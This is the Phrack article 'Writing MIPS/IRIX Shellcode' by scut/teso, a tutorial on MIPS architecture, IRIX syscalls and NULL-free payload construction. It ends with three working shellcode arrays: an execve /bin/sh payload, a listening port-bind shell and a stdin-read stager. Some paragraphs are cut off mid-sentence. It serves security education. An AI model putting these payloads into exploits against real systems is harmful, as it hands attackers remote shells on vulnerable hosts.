writing mips irix shellcode

- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38

05.01.2000

0x0f[0x10]

|------------------------ WRITING MIPS/IRIX SHELLCODE ------------------------|

|-----------------------------------------------------------------------------|

|--------------------------------- scut/teso ---------------------------------|

----| Intro

Writing shellcode for the MIPS/Irix platform is not much different from writing

shellcode for the x86 architecture. There are, however, a few tricks worth

knowing when attempting to write clean shellcode (which does not have any NULL

bytes and works completely independent from it's position).

This small paper will provide you with a crash course on writing IRIX

shellcode for use in exploits. It covers the basic stuff you need to know to

start writing basic IRIX shellcode. It is divided into the following sections:

- The IRIX operating system

- MIPS architecture

- MIPS instructions

- MIPS registers

- The MIPS assembly language

- High level language function representation

- Syscalls and Exceptions

- IRIX syscalls

- Common constructs

- Tuning the shellcode

- Example shellcode

- References

----| The IRIX operating system

The Irix operating system was developed independently by Silicon Graphics and

is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which

have a unique history and have pioneered 64-bit and RISC technology. The

current Irix version is 6.5.7. There are two major versions, called feature

(6.5.7f) and maintenance (6.5.7m) release, from which the feature release is

focused on new features and technologies and the maintenance release on bug

fixes and stability. All modern Irix platforms are binary compatible and this

shellcode discussion and the example shellcodes have been tested on over half a

dozen different Irix computer systems.

----| MIPS architecture

First of all you have to have some basic knowledge about the MIPS CPU

architecture. There are a lot of different types of the MIPS CPU, the most

common are the R4x00 and R10000 series (which share the same instruction set).

A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction

set with less instructions then a CISC CPU, such as the x86. The core concept

of a RISC CPU is a tradeoff between simplicity and concurrency: There are

less instructions, but the existing ones can be executed quickly and in

parallel. Because of this small number of instructions there is less

redundancy per instruction, and some things can only be done using a single

instruction, while on a CISC CPU this can only be achieved by using a variety

of different instructions, each one doing basically the same thing. As a

result of this, MIPS machine code is larger then CISC machine code, since

often multiple instructions are required to accomplish the same operation that

CISC CPU's are able to do with one single instruction.

Multiple instructions do not, however, result in slower code. This is a

matter of overall execution speed, which is extremely high because of the

parallel execution of the instructions.

On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with

five slots, which means five instructions are processed at the same time and

every instruction has five stages, from the initial IF pipestage (instruction

fetch) to the last, the WB pipestage (write back).

Because the instructions overlap within the pipeline, there are some

"anomalies" that have to be considered when writing MIPS machine code:

- there is a branch delay slot: the instruction following the branch

instruction is still in the pipeline and is executed after the jump has

taken place

- the return address for subroutines ($ra) and syscalls (C0_EPC) points

not to the instruction after the branch/jump/syscall instruction but to

the instruction after the branch delay slot instruction

- since every instruction is divided into five pipestages the MIPS design

has reflected this on the instructions itself: every instruction is

32 bits broad (4 bytes), and can be divided most of the times into

segments which correspond with each pipestage

----| MIPS instructions

MIPS instructions are not just 32 bit long each, they often share a similar

mapping too. An instruction can be divided into the following sections:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

+-----------+---------+-----------------------------+-----------+

The "op" field denotes the six bit primary opcode. Some instructions, such

as long jumps (see below) have a unique code here, the rest are grouped by

function. The "sub-op" section, which is five bytes long can represent either

a specific sub opcode as extension to the primary opcode or can be a register

block. A register block is always five bits long and selects one of the CPU

registers for an operation. The subcode is the opcode for the arithmetic and

logical instructions, which have a primary opcode of zero.

The logical and arithmetic instructions share a RISC-unique attribute: They

do not work with two registers, such as common x86 instructions, but they use

three registers, named "destination", "target" and "source". This allows more

flexible code, if you still want CISC-like instructions, such as

"add %eax, %ecx", just use the same destination and target register for the

operation.

A typical MIPS instruction looks like:

or a0, a1, t4

which is easy to represent in C as "a0 = a1 | t4". The order is almost always

equivalent to a simple C expression.

Some simple instructions are listed below.

- dest, source, target, and register are registers (see section on MIPS

registers below).

- value is a 16 bit value, either signed or not, depending on the instruction.

- offset is a 16 bit relative offset. loffset is a 26 bit offset, which is

shifted so that it lies on a four byte boundary.

or dest, source, target logical or: dest = source | target

nor dest, source, target logical not or: d = ~ (source | target)

add dest, source, target add: dest = source + target

addu dest, source, value add immediate signed: dest = source + value

and dest, source, target logical and: dest = source & target

beq source, target, offset if (source == target) goto offset

bgez source, offset if (source >= 0) goto offset

bgezal source, offset if (source >= 0) offset ()

bgtz source, offset if (source > 0) goto offset

bltz source, offset if (source < 0) goto offset

bltzal source, offset if (source < 0) offset ()

bne source, target, offset if (source != target) goto offset

j loffset goto loffset (within 2^28 byte range)

jr register jump to address in register

jal loffset loffset (), store retaddr in $ra

li dest, value load imm.: expanded to either ori or addiu

lw dest, offset dest = *((int *) (offset))

slt dest, source, target signed: dest = (source < target) ? 1 : 0

slti dest, source, value signed: dest = (source < value) ? 1 : 0

sltiu dest, source, value unsigned: dest = (source < value) ? 1 : 0

sub dest, source, target dest = source - target

sw source, offset *((int *) offset) = source

syscall raise syscall exception

xor dest, source, target dest = source ^ target

xori dest, source, value dest = source ^ value

This is obviously not complete. However, it does cover the most important

instructions for writing shellcode. Most of the instructions in the example

shellcodes can be found here. For the complete list of instructions see

either [1] or [2].

----| MIPS registers

The MIPS CPU has plenty of registers. Since we already know registers are

addressed using a five bit block, there must be 32 registers, $0 to $31. They

are all alike except for $0 and $31. For $0 the case is very simple: No

matter what you do to the register, it always contains zero. This is

practical for a lot of arithmetic instructions and can results in elegant code

design. The $0 register has been assigned the symbolic name $zero. The $31

contain a return address if there is such a nice stack to store it? And how

should recursion be handled otherwise? Well, the short answer is, there is no

real stack and yes it works. For the longer answer we will shortly discuss

what happens when a function is called on a RISC CPU. When this is done a

special instruction called "jal" is used. This instruction overwrites the

content of the $ra ($31) register with the appropriate return address and then

jumps to an arbitrary address. The called function does however see the

return address in $ra and once finished just jumps back (using the "jr"

instruction) to the return address. But what if the function wants to call

functions, too? Then there is a stack-like segment the function can store the

return address on, later restore it and then continue to work as usual.

Why "stack-like"? Because there is only a stack by convention, and any

instructions however, and the register has to be adjusted manually. The

"stack" register is $29, symbolically referred as $sp. The stack grows to the

smaller addresses, just like on the x86 architecture.

There other register conventions, nearly as many as there are registers. For

the sake of completeness here is a small listing:

number symbolic function

------- --------- -----------------------------------------------------------

$0 $zero always contains zero

$1 $at is used by assembler (see below), do not use it

$2-$3 $v0, $v1 subroutine return values

$4-$7 $a0-$a3 subroutine arguments

$8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine

$16-$23 $s0-$s7 subroutine registers, have to be saved by called function

before they may be used

$24,$25 $t8, $t9 temporary registers, may be overwritten by subroutine

$26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use

$28 $gp global pointer, used to access static and extern variables

$29 $sp stack pointer

$30 $s8/$fp subroutine register, commonly used as a frame pointer

$31 $ra return address

There are also 32 floating point registers, each 32 bits long (64 bits on

newer MIPS CPUs). They are not important for system programming, so we will not

discuss them here.

----| The MIPS assembly language

Because the instructions are relatively primitive and programmers often want

to accomplish more complex things, the MIPS assembly language works with a lot

of macro instructions. They sometimes provide really necessary operations,

such as subtracting a number from a register (which is converted to a signed

add by the assembler) to complex macros, such as finding the remainder for a

division. But the assembler does a lot more than providing macros for common

operations. We already mentioned the pipeline in which instructions are

processed simultaneously. Often the execution directly depends on the order

within the pipeline, because the registers accessed with the instructions are

written back in the last pipestage, the WB (write-back) stage and cannot be

accessed before by other instructions. For old MIPS CPUs the MIPS

abbreviation is true when saying "Microcomputer without Interlocked Pipeline

Stages", you just cannot access the register in the instruction directly

following the one that modifies this register. Nearly all MIPS CPUs

currently in service do have an interlock though, they just wait until the

data from the instruction is written back to the register before allowing the

following instruction to read it. In practice you only have to worry when

writing very low level assembly code, such as shellcode :-), because most of

the times the assembler will reorder and replace your instructions so that

they exploit the pipelined architecture at best. You can turnoff this

reordering and macros in any MIPS assembler, if you want to.

The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly

language programming in mind. It is more difficult, however, to program a

RISC CPU in assembly than any CISC CPU. Even the first sentences of the MIPS

Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly

language only for hardware near routines or operating system programming. In

most cases a good C compiler, such as the one MIPS developed will optimize the

pipeline and register usage way better then any programmer might do in

assembly. However, when writing shellcodes we have to face the bare machine

code and have to write size-optimized code, which does not contain any NULL

bytes. A compiler might use large code to unroll loops or to use faster

constructs, we can not.

----| High level language function representation

Most of the time, a normal C function can be represented very easily in MIPS

assembly. You just have to differentiate between leaf and non-leaf functions.

A non-leaf function is a function that does not call any other function. Such

functions do not need to store the return address on the stack, but keep it in

$ra for the whole time. The arguments to a function are stored by the calling

function in $a0, $a1, $a2 and $a3. If this space is not sufficient enough

extra stack space is used, but in most cases the registers suffice. The

function may return two 32bit values through the $v0 and $v1 registers. For

temporary space the called function may use the stack referred to by $sp. Also

registers are commonly saved on the stack and later restored from it. The

temporary registers ($t0-$t9) may be overwritten in the called function

without restoring them later, if the calling functions wants to preserve them,

it has to save them itself.

The stack usually starts at 0x80000000 and grows towards small addresses. As

was already said, it is very similar to the stack of an x86 system.

----| Syscalls and Exceptions

On a typical Unix system there are only two modes that current execution can

happen in: user mode and kernel mode. In most modern architectures this

modes are directly supported by the CPU. The MIPS CPU has these two modes plus

an extra mode called "supervisor mode". It was requested by engineers at DEC

for their new range of workstations when the MIPS R4000 CPU was designed.

Since the VMS/DEC market was important to MIPS, they implemented this third

mode at DEC's request to allow the VMS operating system to be run on the CPU.

However, DEC decided later to develop their own CPU, the Alpha CPU and the

mode remained unused.

Back to the execution modes... on current operating systems designed for the

MIPS CPU only kernel mode and user mode are used. To switch from user mode to

the kernel mode there is a mechanism called "exceptions". Whenever a user space process wants to let the kernel to do something or whenever the

current execution can't be successfully continued the control is passed to the

kernel space exception handler.

For shellcode construction we have to know that we can make the kernel execute

important operating system related stuff like I/O operations through the

syscall exception, which is triggered through the "syscall" instruction. The

syscall instruction looks like:

syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100

Where the x's represent the 20 bit broad syscall code, which is ignored on the

Irix system. To avoid NULL bytes in your shellcode you can set those x-bits to

arbitrary data.

----| IRIX syscalls

The following list covers the most important syscalls for use in shellcodes.

After all registers have been appropriately set the "syscall" instruction is

executed and the execution flow is passed to the kernel.

------

int accept (int s, struct sockaddr *addr, socklen_t *addrlen);

a0 = (int) s

a1 = (struct sockaddr *) addr

a2 = (socklen_t *) addrlen

v0 = SYS_accept = 1089 = 0x0441

return values

a3 = 0 success, a3 != 0 on failure

v0 = new socket

bind

----

int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);

a0 = (int) sockfd

a1 = (struct sockaddr *) my_addr

a2 = (socklen_t) addrlen

v0 = SYS_bind = 1090 = 0x0442

For the IN protocol family (TCP/IP) the sockaddr pointer points to a

sockaddr_in struct which is 16 bytes long and typically looks like:

"\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",

where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).

return values

a3 = 0 success, a3 != 0 on failure

v0 = 0 success, v0 != 0 on failure

-----

int close (int fd);

a0 = (int) fd

v0 = SYS_close = 1006 = 0x03ee

return values

a3 = 0 success, a3 != 0 on failure

v0 = 0 success, v0 != 0 on failure

execve

------

int execve (const char *filename, char *const argv [], char *const envp[]);

a0 = (const char *) filename

a1 = (chat * const) argv[]

a2 = (char * const) envp[]

v0 = SYS_execve = 1059 = 0x0423

return values

should not return but replace current process with program, it only returns

in case of errors

fcntl

-----

int fcntl (int fd, int cmd);

int fcntl (int fd, int cmd, long arg);

a0 = (int) fd

a1 = (int) cmd

a2 = (long) arg in case the command requires an argument

v0 = SYS_fcntl = 1062 = 0x0426

return values

a3 = 0 on success, a3 != 0 on failure

v0 is the real return value and depends on the operation, see fcntl(2) for

further information

fork

----

int fork (void);

v0 = SYS_fork = 1002 = 0x03ea

return values

a3 = 0 on success, a3 != 0 on failure

v0 = 0 in child process, PID of child process in parent process

listen

------

int listen (int s, int backlog);

a0 = (int) s

a1 = (int) backlog

v0 = SYS_listen = 1096 = 0x0448

return values

a3 = 0 on success, a3 != 0 on failure

read

----

ssize_t read (int fd, void *buf, size_t count);

a0 = (int) fd

a1 = (void *) buf

a2 = (size_t) count

v0 = SYS_read = 1003 = 0x03eb

return values

a3 = 0 on success, a3 != 0 on failure

v0 = number of bytes read

socket

------

int socket (int domain, int type, int protocol);

a0 = (int) domain

a1 = (int) type

a2 = (int) protocol

v0 = SYS_socket = 1107 = 0x0453

return values

a3 = 0 on success, a3 != 0 on failure

v0 = new socket

write

-----

int write (int fileno, void *buffer, int length);

a0 = (int) fileno

a1 = (void *) buffer

a2 = (int) length

v0 = SYS_write = 1004 = 0x03ec

return values

a3 = 0 on success, a3 != 0 on failure

v0 = number of bytes written

The dup2 functionality is not implemented as system call but as libc

wrapper for close and fcntl. Basically the dup2 function looks like

(simplified):

int dup2 (int des1, int des2)

{

int tmp_errno, maxopen;

maxopen = (int) ulimit (4, 0);

if (maxopen < 0)

{

maxopen = OPEN_MAX;

}

if (fcntl (des1, F_GETFL, 0) == -1)

{

_setoserror (EBADF);

return -1;

}

if (des2 >= maxopen || des2 < 0)

{

_setoserror (EBADF);

return -1;

}

if (des1 == des2)

{

return des2;

}

tmp_errno = _oserror();

close (des2);

_setoserror (tmp_errno);

return (fcntl (des1, F_DUPFD, des2));

}

So without the validation dup2 (des1, des2) can be rewritten as:

close (des2);

fcntl (des1, F_DUPFD, des2);

Which has been done in the portshell shellcode below.

----| Common constructs

When writing shellcode there are always common operations, like getting the

current address. Here are a few techniques that you can use in your

shellcode:

- Getting the current address

li t8, -0x7350 /* load t8 with -0x7350 (leet) */

foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */

slti t8, zero, -1 /* t8 = 0 (see below) */

bar:

Because the slti instruction is in the branch delay slot when the bltzal is

executed the next time the bltzal will not branch and t8 will remain zero. $ra

holds the address of the bar label when the same label is reached.

- Loading small integer values

Because every instruction is 32 bits long you cannot immediately load a 32 bit

value into a register but you have to use two instructions. Most of the time,

however, you just want to load small values, below 256. Values below 2^16 are

stored as a 16 bit value within the instruction and values below 256 will

result in ugly NULL bytes, that should be avoided in proper shellcode.

Therefore we use a trick to load such small values:

loading zero into reg (reg = 0):

slti reg, zero, -1

loading one into reg (reg = 1):

slti reg, zero, 0x0101

loading small integer values into reg (reg = value):

li t8, -valmod /* valmod = value + 1 */

not reg, t8

For example if we want to load 4 into reg we would use:

li t8, -5

not reg, t8

In case you need small values more than one time you can also store them into

saved registers ($s0 - $s7, optionally $s8).

- Moving registers

In normal MIPS assembly you would use the simple move instruction, which

results in an "or" instruction, but in shellcode you have to avoid NUL bytes,

and you can use this construction, if you know that the value in the register

is below 0xffff (65535):

andi reg, source, 0xffff

----| Tuning the shellcode

I recommend that you write your shellcodes in normal MIPS assembly and

afterwards start removing the NULL bytes from top to bottom. For simple load

instructions you can use the constructs above. For essential instructions try

to play with the different registers, in some cases NULL bytes may be removed

from arithmetic and logic instructions by using higher registers, such as $t8

or $s7. Next try replacing the single instruction with two or three

accomplishing the same. Make use of the return values of syscalls or known

[2] and your brain and you will always find a good replacement.

Once you made your shellcode NULL free you will notice the size has increased

and your shellcode is quite bloated. Do not worry, this is normal, there is

almost nothing you can do about it, RISC code is nearly always larger then the

same code on x86. But you can do some small optimizations to decrease it's

size. At first try to find replacements for instruction blocks, where more

then one instruction is used to do one thing. Always take a look at the

current register content and make use of return values or previously loaded

values. Sometimes reordering helps you to avoid jumps.

----| Example shellcode

All the shellcodes have been tested on the following systems, (thanks to vax,

oxigen, zap and hendy):

R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and

R10000/6.4.

<++> p56/MIPS-shellcode/sh_execve.h !4959db03

/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso

unsigned long int shellcode[] = {

0xafa0fffc, /* sw $zero, -4($sp) */

0x24067350, /* li $a2, 0x7350 */

/* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */

0x8fa6fffc, /* lw $a2, -4($sp) */

/* a2 = (char **) envp = NULL */

0x240fffcb, /* li $t7, -53 */

0x01e07827, /* nor $t7, $t7, $zero */

0x03eff821, /* addu $ra, $ra, $t7 */

/* a0 = (char *) pathname */

0x23e4fff8, /* addi $a0, $ra, -8 */

/* fix 0x42 dummy byte in pathname to shell */

0x8fedfffc, /* lw $t5, -4($ra) */

0x25adffbe, /* addiu $t5, $t5, -66 */

0xafedfffc, /* sw $t5, -4($ra) */

/* a1 = (char **) argv */

0xafa4fff8, /* sw $a0, -8($sp) */

0x27a5fff8, /* addiu $a1, $sp, -8 */

0x24020423, /* li $v0, 1059 (SYS_execve) */

0x0101010c, /* syscall */

0x2f62696e, /* .ascii "/bin" */

0x2f736842, /* .ascii "/sh", .byte 0xdummy */

};

<-->

<++> p56/MIPS-shellcode/shc_portshell-listener.h !db48e22a

/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso

unsigned long int shellcode[] = {

0x2416fffd, /* li $s6, -3 */

0x02c07027, /* nor $t6, $s6, $zero */

0x01ce2025, /* or $a0, $t6, $t6 */

0x01ce2825, /* or $a1, $t6, $t6 */

0x240efff9, /* li $t6, -7 */

0x01c03027, /* nor $a2, $t6, $zero */

0x24020453, /* li $v0, 1107 (socket) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x3050ffff, /* andi $s0, $v0, 0xffff */

0x280d0101, /* slti $t5, $zero, 0x0101 */

0x240effee, /* li $t6, -18 */

0x01c07027, /* nor $t6, $t6, $zero */

0x01cd6804, /* sllv $t5, $t5, $t6 */

0x240e7350, /* li $t6, 0x7350 (port) */

0x01ae6825, /* or $t5, $t5, $t6 */

0xafadfff0, /* sw $t5, -16($sp) */

0xafa0fff4, /* sw $zero, -12($sp) */

0xafa0fff8, /* sw $zero, -8($sp) */

0xafa0fffc, /* sw $zero, -4($sp) */

0x02102025, /* or $a0, $s0, $s0 */

0x240effef, /* li $t6, -17 */

0x01c03027, /* nor $a2, $t6, $zero */

0x03a62823, /* subu $a1, $sp, $a2 */

0x24020442, /* li $v0, 1090 (bind) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x02102025, /* or $a0, $s0, $s0 */

0x24050101, /* li $a1, 0x0101 */

0x24020448, /* li $v0, 1096 (listen) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x02102025, /* or $a0, $s0, $s0 */

0x27a5fff0, /* addiu $a1, $sp, -16 */

0x240dffef, /* li $t5, -17 */

0x01a06827, /* nor $t5, $t5, $zero */

0xafadffec, /* sw $t5, -20($sp) */

0x27a6ffec, /* addiu $a2, $sp, -20 */

0x24020441, /* li $v0, 1089 (accept) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x3057ffff, /* andi $s7, $v0, 0xffff */

0x2804ffff, /* slti $a0, $zero, -1 */

0x240203ee, /* li $v0, 1006 (close) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x02f72025, /* or $a0, $s7, $s7 */

0x2805ffff, /* slti $a1, $zero, -1 */

0x2806ffff, /* slti $a2, $zero, -1 */

0x24020426, /* li $v0, 1062 (fcntl) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x28040101, /* slti $a0, $zero, 0x0101 */

0x240203ee, /* li $v0, 1006 (close) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x02f72025, /* or $a0, $s7, $s7 */

0x2805ffff, /* slti $a1, $zero, -1 */

0x28060101, /* slti $a2, $zero, 0x0101 */

0x24020426, /* li $v0, 1062 (fcntl) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 */

0x02c02027, /* nor $a0, $s6, $zero */

0x240203ee, /* li $v0, 1006 (close) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x02f72025, /* or $a0, $s7, $s7 */

0x2805ffff, /* slti $a1, $zero, -1 */

0x02c03027, /* nor $a2, $s6, $zero */

0x24020426, /* li $v0, 1062 (fcntl) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0xafa0fffc, /* sw $zero, -4($sp) */

0x24068cb0, /* li $a2, -29520 */

0x04d0ffff, /* bltzal $a2, pc-4 */

0x8fa6fffc, /* lw $a2, -4($sp) */

0x240fffc7, /* li $t7, -57 */

0x01e07827, /* nor $t7, $t7, $zero */

0x03eff821, /* addu $ra, $ra, $t7 */

0x23e4fff8, /* addi $a0, $ra, -8 */

0x8fedfffc, /* lw $t5, -4($ra) */

0x25adffbe, /* addiu $t5, $t5, -66 */

0xafedfffc, /* sw $t5, -4($ra) */

0xafa4fff8, /* sw $a0, -8($sp) */

0x27a5fff8, /* addiu $a1, $sp, -8 */

0x24020423, /* li $v0, 1059 (execve) */

0x0101010c, /* syscall */

0x240f7350, /* li $t7, 0x7350 (nop) */

0x2f62696e, /* .ascii "/bin" */

0x2f736842, /* .ascii "/sh", .byte 0xdummy */

};

<-->

<++> p56/MIPS-shellcode/shc_read.h !1996c2bb

/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso

unsigned long int shellcode[] = {

0x24048cb0, /* li $a0, -0x7350 */

/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */

0x2804ffff, /* slti $a0, $zero, -1 */

0x240fffe3, /* li $t7, -29 */

0x01e07827, /* nor $t7, $t7, $zero */

0x03ef2821, /* addu $a1, $ra, $t7 */

0x24060201, /* li $a2, 0x0201 (513 bytes) */

0x240203eb, /* li $v0, SYS_read */

0x0101010c, /* syscall */

0x24187350, /* li $t8, 0x7350 (nop) */

};

<-->

----| References

For further information you may want to consult this excellent references:

[1] See MIPS Run

Dominic Sweetman, Morgan Kaufmann Publishers

ISBN 1-55860-410-3

[2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2

Document Number 007-2418-001

http://www.mips.com/ and http://www.sgi.com/

|EOF|-------------------------------------------------------------------------|